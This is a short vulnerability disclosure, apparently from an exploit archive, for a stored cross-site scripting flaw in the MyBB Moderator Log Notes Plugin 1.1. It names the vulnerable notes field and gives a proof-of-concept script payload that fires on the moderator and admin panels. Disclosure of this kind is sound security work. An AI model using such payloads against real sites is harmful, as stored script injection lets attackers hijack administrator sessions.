MyBB Moderator Log Notes Plugin 1.1 - Cross-Site Scripting Vulnerability

# Exploit Title: MyBB Moderator Log Notes Plugin 1.1 - Cross-Site Scripting
# Author: 0xB9
# Software Link: https://community.mybb.com/mods.php?action=view&pid=1105
# Version: 1.1
# Tested on: Ubuntu 18.04
# CVE: N/A
 
# 1. Description:
# The plugin allows moderators to save notes and display them in a list in the modCP.
# The XSS is located in the mod notes textarea.
  
# 2. Proof of Concepts:
 
Go to the modCP and save the following payload in the moderator notes  <script>alert(\'XSS\')</script>
 
The alert will appear on the modCP and ACP.
localhost/modcp.php
localhost/admin/index.php?module=tools-modnoteslog

#  0day.today [2018-05-25]  #